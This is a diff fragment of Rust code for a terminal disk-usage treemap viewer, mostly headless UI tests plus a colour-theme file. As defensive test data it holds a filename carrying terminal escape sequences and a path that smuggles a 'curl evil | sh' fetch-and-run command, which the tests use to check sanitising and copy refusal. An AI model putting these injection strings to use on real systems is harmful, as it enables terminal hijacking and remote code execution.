|
for i in 0..w {
|
||||||
|
let mut ch = if eighths >= 8 {
|
||||||
|
"█"
|
||||||
|
} else if eighths > 0 {
|
||||||
|
PARTS[eighths as usize]
|
||||||
|
} else {
|
||||||
|
" "
|
||||||
|
};
|
||||||
|
if t.ascii {
|
||||||
|
ch = if eighths >= 4 { "#" } else { " " };
|
||||||
|
}
|
||||||
|
eighths -= 8;
|
||||||
|
let st = if t.mono { Style::default() } else { Style::new(col, bg) };
|
||||||
|
cv.text(x + i, y, ch, 1, st);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Lets mouse actions reuse key handling (lock already held).
|
||||||
|
pub fn handle_key_name(&mut self, tr: &Tree, k: &str) -> Cmd {
|
||||||
|
let (handled, cmd) = self.view_key(tr, k);
|
||||||
|
if handled {
|
||||||
|
return cmd;
|
||||||
|
}
|
||||||
|
match k {
|
||||||
|
"enter" => self.inspect_selection(tr),
|
||||||
|
"space" => self.zoom_into_selection(tr),
|
||||||
|
_ => Cmd::None,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,513 @@
|
|||||||
|
//! Headless model tests (ports of tui_test.go, nest_test.go, live_test.go).
|
||||||
|
|
||||||
|
use super::bench::opts_for;
|
||||||
|
use super::color256::{quant16, quant256};
|
||||||
|
use super::canvas::rgb;
|
||||||
|
use super::mapview::TOP_MIN_AREA;
|
||||||
|
use super::model::*;
|
||||||
|
use super::modals::new_info_modal;
|
||||||
|
use crate::cancel::Cancel;
|
||||||
|
use crate::inventory::{category_for, ext, Kind, NodeId, Tree, FLAG_SCANNED};
|
||||||
|
use crate::scan;
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Block;
|
||||||
|
use std::os::unix::ffi::OsStrExt;
|
||||||
|
use std::sync::{Arc, RwLock};
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
|
const HOSTILE: &[u8] = b"evil\x1b]0;pwned\x07\x1b[2J.iso";
|
||||||
|
|
||||||
|
fn add_file(t: &mut Tree, p: NodeId, name: &[u8], size: i64) -> NodeId {
|
||||||
|
let id = t.add(p, name, Kind::File);
|
||||||
|
let n = t.node_mut(id);
|
||||||
|
(n.size, n.alloc) = (size, size);
|
||||||
|
n.cat = category_for(&ext(name), false, false);
|
||||||
|
id
|
||||||
|
}
|
||||||
|
|
||||||
|
fn add_dir(t: &mut Tree, p: NodeId, name: &[u8]) -> NodeId {
|
||||||
|
let id = t.add(p, name, Kind::Dir);
|
||||||
|
t.node_mut(id).flags |= FLAG_SCANNED;
|
||||||
|
id
|
||||||
|
}
|
||||||
|
|
||||||
|
fn test_tree() -> Tree {
|
||||||
|
let mut t = Tree::new(b"/srv", Kind::Dir);
|
||||||
|
let file = |t: &mut Tree, p, name: &[u8], size| {
|
||||||
|
let id = add_file(t, p, name, size);
|
||||||
|
t.node_mut(id).mtime = 1_700_000_000_000_000_000;
|
||||||
|
};
|
||||||
|
let backups = add_dir(&mut t, 0, b"backups");
|
||||||
|
for i in 0..40i64 {
|
||||||
|
file(&mut t, backups, format!("dump-{i:02}.tar.gz").as_bytes(), (1 + i) << 30);
|
||||||
|
}
|
||||||
|
let vms = add_dir(&mut t, 0, b"vms");
|
||||||
|
file(&mut t, vms, b"ubuntu.qcow2", 86 << 30);
|
||||||
|
file(&mut t, vms, b"win.vmdk", 40 << 30);
|
||||||
|
let media = add_dir(&mut t, 0, b"media");
|
||||||
|
let photos = add_dir(&mut t, media, "photos 日本語".as_bytes());
|
||||||
|
for i in 0..300i64 {
|
||||||
|
file(&mut t, photos, format!("img{i:03}.jpg").as_bytes(), (i + 1) << 20);
|
||||||
|
}
|
||||||
|
file(&mut t, media, HOSTILE, 9 << 30);
|
||||||
|
file(&mut t, media, "👨👩👧 family.mp4".as_bytes(), 12 << 30);
|
||||||
|
let tiny = add_dir(&mut t, 0, b"tiny");
|
||||||
|
for i in 0..2000 {
|
||||||
|
file(&mut t, tiny, format!("f{i}").as_bytes(), 100);
|
||||||
|
}
|
||||||
|
file(&mut t, 0, b"README", 10);
|
||||||
|
t.recompute();
|
||||||
|
t.stats.complete = true;
|
||||||
|
t
|
||||||
|
}
|
||||||
|
|
||||||
|
fn model_for(t: Tree) -> Model {
|
||||||
|
let tr = Arc::new(RwLock::new(t));
|
||||||
|
let mut m = Model::new(opts_for(tr.clone()), None, tr, Cancel::new());
|
||||||
|
m.profile = Profile::TrueColor;
|
||||||
|
m
|
||||||
|
}
|
||||||
|
|
||||||
|
fn new_test_model() -> Model {
|
||||||
|
model_for(test_tree())
|
||||||
|
}
|
||||||
|
|
||||||
|
fn send(m: &mut Model, msgs: Vec<Msg>) {
|
||||||
|
for msg in msgs {
|
||||||
|
m.update(msg);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn key(s: &str) -> Msg {
|
||||||
|
Msg::Key(Key::from_name(s))
|
||||||
|
}
|
||||||
|
|
||||||
|
fn size(w: i32, h: i32) -> Msg {
|
||||||
|
Msg::Size(w, h)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Removes CSI sequences.
|
||||||
|
fn strip(s: &str) -> String {
|
||||||
|
let mut out = String::with_capacity(s.len());
|
||||||
|
let mut it = s.chars();
|
||||||
|
while let Some(c) = it.next() {
|
||||||
|
if c == '\x1b' && it.clone().next() == Some('[') {
|
||||||
|
it.next();
|
||||||
|
for c in it.by_ref() {
|
||||||
|
if ('\x40'..='\x7e').contains(&c) {
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
out.push(c);
|
||||||
|
}
|
||||||
|
out
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Verifies the rendered frame exactly fills w×h cells and that no filename
|
||||||
|
/// control sequence leaked through.
|
||||||
|
fn check_frame(m: &mut Model, w: i32, h: i32) -> String {
|
||||||
|
let content = m.view().to_string();
|
||||||
|
assert!(
|
||||||
|
!content.contains("\x1b]") && !content.contains('\x07') && !content.contains("\x1b[2J"),
|
||||||
|
"terminal control sequence from a filename leaked into the frame"
|
||||||
|
);
|
||||||
|
let lines: Vec<&str> = content.split('\n').collect();
|
||||||
|
assert_eq!(lines.len() as i32, h, "{w}x{h}: frame has {} lines", lines.len());
|
||||||
|
for (i, l) in lines.iter().enumerate() {
|
||||||
|
let got = textutil::width(&strip(l)) as i32;
|
||||||
|
assert_eq!(got, w, "{w}x{h}: line {i} has width {got}: {:?}", strip(l));
|
||||||
|
}
|
||||||
|
strip(&content)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn find(m: &Model, name: &[u8]) -> NodeId {
|
||||||
|
let t = m.tree.read().unwrap();
|
||||||
|
let mut found = None;
|
||||||
|
t.walk(0, |id, n| {
|
||||||
|
if &*n.name == name {
|
||||||
|
found = Some(id);
|
||||||
|
}
|
||||||
|
true
|
||||||
|
});
|
||||||
|
found.expect("node not found")
|
||||||
|
}
|
||||||
|
|
||||||
|
fn find_block(bs: &[Block], id: i64) -> Block {
|
||||||
|
bs.iter().copied().find(|b| b.id == id).unwrap_or(Block { id: 0, rect: Default::default() })
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn resize_transitions_preserve_state() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(120, 40)]);
|
||||||
|
check_frame(&mut m, 120, 40);
|
||||||
|
// Zoom into media and select something that is not the default.
|
||||||
|
let media = find(&m, b"media");
|
||||||
|
(m.sel, m.user_sel) = (media as i64, true);
|
||||||
|
send(&mut m, vec![key("space")]);
|
||||||
|
assert_eq!(m.zoom, media);
|
||||||
|
check_frame(&mut m, 120, 40);
|
||||||
|
send(&mut m, vec![key("right")]);
|
||||||
|
let sel = m.sel;
|
||||||
|
for (w, h) in [(80, 24), (120, 40), (300, 80), (70, 20), (180, 50), (40, 10), (39, 9), (200, 60)] {
|
||||||
|
send(&mut m, vec![size(w, h)]);
|
||||||
|
check_frame(&mut m, w, h);
|
||||||
|
assert_eq!(m.zoom, media, "{w}x{h}: zoom lost");
|
||||||
|
assert!(m.sel == sel || is_group(m.sel), "{w}x{h}: selection changed from {sel} to {}", m.sel);
|
||||||
|
}
|
||||||
|
// The layout must be recomputed for the new geometry, not stretched.
|
||||||
|
let l = m.tm.clone().unwrap();
|
||||||
|
assert!(l.rect.w <= 200 && l.rect.h <= 60, "layout not recomputed for final size: {:?}", l.rect);
|
||||||
|
let r = l.rect;
|
||||||
|
for b in &l.blocks {
|
||||||
|
let br = b.rect;
|
||||||
|
assert!(br.x >= r.x && br.y >= r.y && br.x + br.w <= r.x + r.w && br.y + br.h <= r.y + r.h, "block {b:?} outside treemap {r:?}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn resize_storm() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
let mut rnd = 1u64;
|
||||||
|
let mut intn = |n: u64| {
|
||||||
|
rnd = rnd.wrapping_mul(6364136223846793005).wrapping_add(1442695040888963407);
|
||||||
|
(rnd >> 33) % n
|
||||||
|
};
|
||||||
|
send(&mut m, vec![size(120, 40)]);
|
||||||
|
m.view();
|
||||||
|
send(&mut m, vec![key("right"), key("down")]);
|
||||||
|
let sel = m.sel;
|
||||||
|
for i in 0..300 {
|
||||||
|
let (w, h) = (20 + intn(300) as i32, 5 + intn(90) as i32);
|
||||||
|
send(&mut m, vec![size(w, h)]);
|
||||||
|
if i % 7 == 0 {
|
||||||
|
m.view(); // renders interleave with resizes like the real event loop
|
||||||
|
}
|
||||||
|
}
|
||||||
|
send(&mut m, vec![size(150, 45)]);
|
||||||
|
check_frame(&mut m, 150, 45);
|
||||||
|
assert_eq!(m.sel, sel, "selection lost in resize storm");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn modal_survives_resize() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(120, 40), key("enter")]);
|
||||||
|
assert_eq!(m.modals.len(), 1, "Enter should open the info modal");
|
||||||
|
for (w, h) in [(120, 40), (60, 14), (41, 10), (300, 80), (45, 12)] {
|
||||||
|
send(&mut m, vec![size(w, h)]);
|
||||||
|
let out = check_frame(&mut m, w, h);
|
||||||
|
assert!(out.contains("ITEM INFORMATION"), "{w}x{h}: modal title missing:\n{out}");
|
||||||
|
let f = &m.modals[0];
|
||||||
|
assert!(f.view_h >= 1 && f.view_h <= h, "{w}x{h}: modal viewport {}", f.view_h);
|
||||||
|
}
|
||||||
|
// Scrolling in a tiny terminal must stay in range.
|
||||||
|
send(&mut m, vec![size(45, 12)]);
|
||||||
|
for _ in 0..100 {
|
||||||
|
send(&mut m, vec![key("down")]);
|
||||||
|
}
|
||||||
|
check_frame(&mut m, 45, 12);
|
||||||
|
let f = &m.modals[0];
|
||||||
|
assert!(f.scroll >= 0 && f.scroll <= f.content_n, "scroll out of range: {} of {}", f.scroll, f.content_n);
|
||||||
|
send(&mut m, vec![key("esc")]);
|
||||||
|
assert!(m.modals.is_empty(), "Esc should close the modal");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn spatial_navigation_uses_geometry() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(160, 45)]);
|
||||||
|
m.view();
|
||||||
|
let blocks = m.tm.clone().unwrap().blocks.clone();
|
||||||
|
for dir in ["right", "down", "left", "up"] {
|
||||||
|
let before = m.sel;
|
||||||
|
send(&mut m, vec![key(dir)]);
|
||||||
|
m.view();
|
||||||
|
if m.sel == before {
|
||||||
|
continue; // edge of the map
|
||||||
|
}
|
||||||
|
let (a, b) = (find_block(&blocks, before).rect, find_block(&blocks, m.sel).rect);
|
||||||
|
let ok = match dir {
|
||||||
|
"right" => b.x >= a.x + a.w,
|
||||||
|
"left" => b.x + b.w <= a.x,
|
||||||
|
"down" => b.y >= a.y + a.h,
|
||||||
|
_ => b.y + b.h <= a.y,
|
||||||
|
};
|
||||||
|
assert!(ok, "{dir} moved to a block that is not in that direction: {a:?} -> {b:?}");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn zoom_breadcrumbs_and_home() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(100, 30)]);
|
||||||
|
let media = find(&m, b"media");
|
||||||
|
let photos = find(&m, "photos 日本語".as_bytes());
|
||||||
|
(m.sel, m.user_sel) = (media as i64, true);
|
||||||
|
send(&mut m, vec![key("space")]);
|
||||||
|
m.sel = photos as i64;
|
||||||
|
send(&mut m, vec![key("space")]);
|
||||||
|
assert_eq!(m.zoom, photos, "did not zoom into photos");
|
||||||
|
let out = check_frame(&mut m, 100, 30);
|
||||||
|
assert!(out.contains("media › photos 日本語"), "breadcrumbs missing:\n{out}");
|
||||||
|
// Narrow terminal: breadcrumbs truncate from the left, keeping the tail.
|
||||||
|
send(&mut m, vec![size(42, 12)]);
|
||||||
|
let out = check_frame(&mut m, 42, 12);
|
||||||
|
assert!(out.contains("photos"), "breadcrumb tail missing:\n{out}");
|
||||||
|
send(&mut m, vec![key("backspace")]);
|
||||||
|
assert!(m.zoom == media && m.sel == photos as i64, "backspace: zoom {} sel {}", m.zoom, m.sel);
|
||||||
|
send(&mut m, vec![key("home")]);
|
||||||
|
assert_eq!(m.zoom, 0, "home did not return to root");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn filter_transforms_map() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(120, 40), key("/")]);
|
||||||
|
for c in "ext = gz".chars() {
|
||||||
|
send(&mut m, vec![Msg::Key(Key { name: c.to_string(), text: c.to_string(), ctrl_alt: false })]);
|
||||||
|
}
|
||||||
|
assert!(m.search.err.is_empty() && m.search.query.is_some(), "query not parsed: {:?}", m.search.err);
|
||||||
|
let msgs = m.apply_filter().run_sync();
|
||||||
|
send(&mut m, msgs);
|
||||||
|
send(&mut m, vec![key("enter")]);
|
||||||
|
assert!(m.search.result.is_some(), "no filter result");
|
||||||
|
let out = check_frame(&mut m, 120, 40);
|
||||||
|
assert!(!out.contains("vms/") && out.contains("backups/"), "filter not applied to the map:\n{out}");
|
||||||
|
assert!(out.contains("FILTER"), "filter indicator missing");
|
||||||
|
send(&mut m, vec![key("esc")]);
|
||||||
|
assert!(m.search.query.is_none() && m.search.result.is_none(), "Esc should clear the filter");
|
||||||
|
let out = check_frame(&mut m, 120, 40);
|
||||||
|
assert!(out.contains("vms/"), "map not restored after clearing filter:\n{out}");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn hostile_name_sanitised_in_modal() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(120, 40)]);
|
||||||
|
let id = find(&m, HOSTILE);
|
||||||
|
let t = m.tree.clone();
|
||||||
|
let md = new_info_modal(&m, &t.read().unwrap(), id);
|
||||||
|
m.open_modal(md);
|
||||||
|
let out = check_frame(&mut m, 120, 40);
|
||||||
|
assert!(out.contains(r"\x1b]0;pwned\x07"), "escaped name not shown:\n{out}");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn views_render_at_many_sizes() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
for _ in 0..m.views.len() {
|
||||||
|
for (w, h) in [(40, 10), (80, 24), (150, 45), (91, 22)] {
|
||||||
|
send(&mut m, vec![size(w, h)]);
|
||||||
|
check_frame(&mut m, w, h);
|
||||||
|
send(&mut m, vec![key("down"), key("down")]);
|
||||||
|
check_frame(&mut m, w, h);
|
||||||
|
}
|
||||||
|
send(&mut m, vec![key("tab")]);
|
||||||
|
}
|
||||||
|
send(&mut m, vec![key("?")]);
|
||||||
|
send(&mut m, vec![size(60, 15)]);
|
||||||
|
check_frame(&mut m, 60, 15);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn level_of_detail_groups_tiny_files() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(100, 30)]);
|
||||||
|
let tiny = find(&m, b"tiny");
|
||||||
|
let t = m.tree.clone();
|
||||||
|
m.zoom_to(&t.read().unwrap(), tiny);
|
||||||
|
m.view();
|
||||||
|
let l = m.tm.clone().unwrap();
|
||||||
|
assert!(l.blocks.len() as i32 <= 100 * 30 / TOP_MIN_AREA + 1, "{} blocks for 2000 equal files: LOD not applied", l.blocks.len());
|
||||||
|
assert!(l.groups.contains_key(&group_id(tiny)), "expected a group block for small items");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn ctrl_c_quits_when_idle() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(80, 24)]);
|
||||||
|
m.update(Msg::Key(Key { name: "ctrl+c".into(), text: String::new(), ctrl_alt: true }));
|
||||||
|
assert!(m.quit, "Ctrl+C should quit when no scan runs");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn mouse() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
send(&mut m, vec![size(120, 40)]);
|
||||||
|
m.view();
|
||||||
|
// Click the centre of a block other than the selected one.
|
||||||
|
let target = {
|
||||||
|
let t = m.tree.read().unwrap();
|
||||||
|
m.tm.as_ref().unwrap().blocks.iter().copied()
|
||||||
|
.find(|b| b.id != m.sel && b.id >= 0 && t.node(b.id as NodeId).is_dir() && b.rect.w > 4)
|
||||||
|
.unwrap()
|
||||||
|
};
|
||||||
|
let click = || Msg::Click { x: target.rect.x + target.rect.w / 2, y: target.rect.y + target.rect.h / 2, button: Button::Left };
|
||||||
|
send(&mut m, vec![click()]);
|
||||||
|
assert_eq!(m.sel, target.id, "click selected the wrong block");
|
||||||
|
m.view();
|
||||||
|
send(&mut m, vec![click()]); // second click within the double-click window
|
||||||
|
assert_eq!(m.zoom as i64, target.id, "double click should zoom");
|
||||||
|
m.view();
|
||||||
|
send(&mut m, vec![Msg::Wheel { x: 50, y: 20, up: false }]);
|
||||||
|
assert_eq!(m.zoom, 0, "wheel down should zoom out");
|
||||||
|
// A modal swallows clicks; clicking outside closes it.
|
||||||
|
send(&mut m, vec![key("?")]);
|
||||||
|
m.view();
|
||||||
|
send(&mut m, vec![Msg::Click { x: 0, y: 39, button: Button::Left }]);
|
||||||
|
assert!(m.modals.is_empty(), "click outside modal should close it");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn quantizers() {
|
||||||
|
assert_eq!(quant16(rgb(10, 12, 8)), 0, "near-black should map to black");
|
||||||
|
let n = quant16(rgb(0xe0, 0x6c, 0x75));
|
||||||
|
assert!(n == 1 || n == 9, "red-ish mapped to {n}");
|
||||||
|
let n = quant256(rgb(40, 48, 30));
|
||||||
|
assert!(n >= 16, "256 quantizer used palette-dependent index {n}");
|
||||||
|
// A dark, slightly tinted shade must land on the grey ramp or a dark
|
||||||
|
// cube entry, not a saturated one like olive (58) or navy (17).
|
||||||
|
assert!(![58, 17, 22].contains(&n), "dark tint mapped to saturated {n}");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn colour_depths_render_same_geometry() {
|
||||||
|
for p in [Profile::TrueColor, Profile::Ansi256, Profile::Ansi, Profile::Ascii] {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
m.profile = p;
|
||||||
|
send(&mut m, vec![size(100, 30)]);
|
||||||
|
check_frame(&mut m, 100, 30);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// A filename with a newline would run commands when pasted into a shell.
|
||||||
|
#[test]
|
||||||
|
fn copy_refuses_control_characters() {
|
||||||
|
let mut m = new_test_model();
|
||||||
|
m.copy_path(b"/srv/x\ncurl evil | sh\n");
|
||||||
|
assert!(m.toast.starts_with("Not copied"), "hostile path copied: {:?}", m.toast);
|
||||||
|
m.copy_path(&[b"/srv/media/".as_slice(), HOSTILE].concat());
|
||||||
|
assert!(m.toast.starts_with("Not copied"), "escape sequence copied: {:?}", m.toast);
|
||||||
|
m.copy_path("/srv/photos 日本語/img001.jpg".as_bytes());
|
||||||
|
assert!(m.toast.starts_with("Copied"), "plain path refused: {:?}", m.toast);
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- nest_test.go -----------------------------------------------------------
|
||||||
|
|
||||||
|
fn root_tree() -> Tree {
|
||||||
|
let mut t = Tree::new(b"/", Kind::Dir);
|
||||||
|
let mnt = add_dir(&mut t, 0, b"mnt");
|
||||||
|
let raid = add_dir(&mut t, mnt, b"raid");
|
||||||
|
let media = add_dir(&mut t, raid, b"media");
|
||||||
|
for show in ["X-Files", "Simpsons", "Frasier"] {
|
||||||
|
let s = add_dir(&mut t, media, show.as_bytes());
|
||||||
|
for i in 1..=5 {
|
||||||
|
let se = add_dir(&mut t, s, format!("S{i:02}").as_bytes());
|
||||||
|
for e in 1..=20i64 {
|
||||||
|
add_file(&mut t, se, format!("E{e:02}.mkv").as_bytes(), e << 28);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let usr = add_dir(&mut t, 0, b"usr");
|
||||||
|
let lib = add_dir(&mut t, usr, b"lib");
|
||||||
|
for i in 0..50i64 {
|
||||||
|
add_file(&mut t, lib, format!("lib{i}.so").as_bytes(), (i + 1) << 22);
|
||||||
|
}
|
||||||
|
let v = add_dir(&mut t, 0, b"var");
|
||||||
|
let log = add_dir(&mut t, v, b"log");
|
||||||
|
add_file(&mut t, log, b"syslog", 2 << 30);
|
||||||
|
t.recompute();
|
||||||
|
t.stats.complete = true;
|
||||||
|
t
|
||||||
|
}
|
||||||
|
|
||||||
|
// A single-child chain (mnt → raid → media) must not use up the nesting
|
||||||
|
// budget: the map at / should reach the seasons and their episodes.
|
||||||
|
#[test]
|
||||||
|
fn nesting_reaches_deep_media() {
|
||||||
|
let mut m = model_for(root_tree());
|
||||||
|
send(&mut m, vec![size(160, 45)]);
|
||||||
|
let out = strip(m.view());
|
||||||
|
assert!(out.contains("mnt/raid/media/") && out.contains("S01/"), "chain or seasons missing:\n{out}");
|
||||||
|
let t = m.tree.read().unwrap();
|
||||||
|
let files = m.tm.as_ref().unwrap().nested.iter().filter(|nb| nb.id >= 0 && !t.node(nb.id as NodeId).is_dir()).count();
|
||||||
|
assert!(files >= 50, "only {files} episode blocks drawn");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Headless, o shows the selected folder in the map instead of launching a
|
||||||
|
// file manager.
|
||||||
|
#[test]
|
||||||
|
fn reveal_headless_zooms_map() {
|
||||||
|
std::env::set_var("DISPLAY", "");
|
||||||
|
std::env::set_var("WAYLAND_DISPLAY", "");
|
||||||
|
let mut m = model_for(root_tree());
|
||||||
|
send(&mut m, vec![size(160, 45)]);
|
||||||
|
let mnt = {
|
||||||
|
let t = m.tree.clone();
|
||||||
|
let g = t.read().unwrap();
|
||||||
|
m.kids_of(&g, m.zoom).ids[0]
|
||||||
|
};
|
||||||
|
m.snapshot = false; // reveal is refused for snapshots
|
||||||
|
(m.sel, m.user_sel) = (mnt as i64, true);
|
||||||
|
send(&mut m, vec![key("o")]);
|
||||||
|
assert_eq!(m.zoom, mnt, "zoom = {}, want mnt", m.tree.read().unwrap().path_string(m.zoom));
|
||||||
|
}
|
||||||
|
|
||||||
|
// ---- live_test.go -----------------------------------------------------------
|
||||||
|
|
||||||
|
/// Renders, navigates, filters and resizes while the scanner mutates the
|
||||||
|
/// inventory, verifying the locking discipline.
|
||||||
|
#[test]
|
||||||
|
fn live_scan_rendering() {
|
||||||
|
let root = scan::tests::TempDir::new("tui-live");
|
||||||
|
for i in 0..30 {
|
||||||
|
let d = root.0.join(format!("d{i:02}")).join("sub");
|
||||||
|
std::fs::create_dir_all(&d).unwrap();
|
||||||
|
for j in 0..40 {
|
||||||
|
std::fs::write(d.join(format!("f{j}.log")), vec![0u8; (i + 1) * (j + 1) * 100]).unwrap();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
let path = root.0.as_os_str().as_bytes().to_vec();
|
||||||
|
let start: StartFn = Arc::new(move |c: Cancel| {
|
||||||
|
let s = scan::start(&path, scan::Options { workers: 4, chunk_size: 3, ..Default::default() }, c)?;
|
||||||
|
let t = s.tree.clone();
|
||||||
|
Ok((Some(s), t))
|
||||||
|
});
|
||||||
|
let cancel = Cancel::new();
|
||||||
|
let (s, tr) = start(cancel.clone()).unwrap();
|
||||||
|
let mut opts = opts_for(tr.clone());
|
||||||
|
opts.start = start;
|
||||||
|
let mut m = Model::new(opts, s, tr, cancel.clone());
|
||||||
|
let sizes = [(120, 40), (80, 24), (200, 60), (45, 12)];
|
||||||
|
let deadline = Instant::now() + Duration::from_secs(20);
|
||||||
|
let mut i = 0;
|
||||||
|
loop {
|
||||||
|
let (w, h) = sizes[i % sizes.len()];
|
||||||
|
send(&mut m, vec![size(w, h), Msg::Tick]);
|
||||||
|
send(&mut m, vec![key(["right", "down", "left", "up"][i % 4])]);
|
||||||
|
if i % 5 == 0 {
|
||||||
|
send(&mut m, vec![key("tab")]);
|
||||||
|
}
|
||||||
|
if i == 3 {
|
||||||
|
m.search.ed.set("ext = log");
|
||||||
|
let _ = m.query_changed();
|
||||||
|
let msgs = m.apply_filter().run_sync();
|
||||||
|
send(&mut m, msgs);
|
||||||
|
}
|
||||||
|
m.dirty = true;
|
||||||
|
m.view();
|
||||||
|
if m.scanner.as_ref().unwrap().is_done() {
|
||||||
|
let t = m.tree.clone();
|
||||||
|
send(&mut m, vec![Msg::ScanDone(t)]);
|
||||||
|
m.view();
|
||||||
|
assert!(!m.scanning, "scan should be finished");
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
assert!(Instant::now() < deadline, "scan did not finish");
|
||||||
|
i += 1;
|
||||||
|
}
|
||||||
|
cancel.cancel();
|
||||||
|
}
|
||||||
@@ -0,0 +1,193 @@
|
|||||||
|
//! Colour themes. Nothing else in the TUI hard-codes colours.
|
||||||
|
|
||||||
|
use super::canvas::{rgb, BoxChars, Color, Style, BOX_ASCII, BOX_ASCII_SEL, BOX_DOUBLE, BOX_LIGHT};
|
||||||
|
use crate::config::Settings;
|
||||||
|
use crate::inventory::{parse_category, NUM_CATEGORIES};
|
||||||
|
use std::collections::HashMap;
|
||||||
|
|
||||||
|
/// Every colour the UI uses.
|
||||||
|
#[derive(Clone, Default)]
|
||||||
|
pub(crate) struct Theme {
|
||||||
|
pub name: &'static str,
|
||||||
|
pub mono: bool, // no colour: rely on attributes and glyphs
|
||||||
|
pub ascii: bool, // no box-drawing glyphs
|
||||||
|
|
||||||
|
pub bg: Color,
|
||||||
|
pub fg: Color,
|
||||||
|
pub muted: Color,
|
||||||
|
pub faint: Color,
|
||||||
|
pub accent: Color,
|
||||||
|
pub sel: Color,
|
||||||
|
pub header_bg: Color,
|
||||||
|
pub header_fg: Color,
|
||||||
|
pub status_bg: Color,
|
||||||
|
pub status_fg: Color,
|
||||||
|
pub panel_bg: Color,
|
||||||
|
pub warn: Color,
|
||||||
|
pub err: Color,
|
||||||
|
pub ok: Color,
|
||||||
|
pub group: Color,
|
||||||
|
pub empty_dir: Color,
|
||||||
|
pub cat: [Color; NUM_CATEGORIES],
|
||||||
|
pub diff_grow: Color,
|
||||||
|
pub diff_shrink: Color,
|
||||||
|
pub diff_new: Color,
|
||||||
|
pub diff_same: Color,
|
||||||
|
pub ext: Option<HashMap<String, Color>>,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Lists built-in themes (sorted).
|
||||||
|
pub(crate) fn theme_names() -> Vec<&'static str> {
|
||||||
|
vec!["dark", "default", "high-contrast", "mono"]
|
||||||
|
}
|
||||||
|
|
||||||
|
fn default_theme() -> Theme {
|
||||||
|
Theme {
|
||||||
|
name: "default",
|
||||||
|
bg: rgb(0x16, 0x18, 0x1d),
|
||||||
|
fg: rgb(0xdc, 0xdf, 0xe4),
|
||||||
|
muted: rgb(0x8a, 0x91, 0x9c),
|
||||||
|
faint: rgb(0x4a, 0x50, 0x5a),
|
||||||
|
accent: rgb(0x61, 0xaf, 0xef),
|
||||||
|
sel: rgb(0xff, 0xd8, 0x66),
|
||||||
|
header_bg: rgb(0x21, 0x25, 0x2b),
|
||||||
|
header_fg: rgb(0xdc, 0xdf, 0xe4),
|
||||||
|
status_bg: rgb(0x2c, 0x31, 0x3a),
|
||||||
|
status_fg: rgb(0xc8, 0xcc, 0xd4),
|
||||||
|
panel_bg: rgb(0x1c, 0x1f, 0x25),
|
||||||
|
warn: rgb(0xe5, 0xc0, 0x7b),
|
||||||
|
err: rgb(0xe0, 0x6c, 0x75),
|
||||||
|
ok: rgb(0x98, 0xc3, 0x79),
|
||||||
|
group: rgb(0x5c, 0x63, 0x70),
|
||||||
|
empty_dir: rgb(0x4b, 0x52, 0x63),
|
||||||
|
// Other, Image, Video, Audio, Archive, DiskImage, Database, Code,
|
||||||
|
// Document, Executable, Log, Cache
|
||||||
|
cat: [
|
||||||
|
rgb(0x7f, 0x8c, 0x9d),
|
||||||
|
rgb(0xe5, 0xc0, 0x7b),
|
||||||
|
rgb(0xe0, 0x6c, 0x75),
|
||||||
|
rgb(0xd1, 0x9a, 0x66),
|
||||||
|
rgb(0xc6, 0x78, 0xdd),
|
||||||
|
rgb(0x8e, 0x7c, 0xf0),
|
||||||
|
rgb(0x56, 0xb6, 0xc2),
|
||||||
|
rgb(0x98, 0xc3, 0x79),
|
||||||
|
rgb(0x61, 0xaf, 0xef),
|
||||||
|
rgb(0xbe, 0x50, 0x46),
|
||||||
|
rgb(0xa3, 0xa8, 0x6a),
|
||||||
|
rgb(0x6b, 0x77, 0x88),
|
||||||
|
],
|
||||||
|
diff_grow: rgb(0xf0, 0x5a, 0x5a),
|
||||||
|
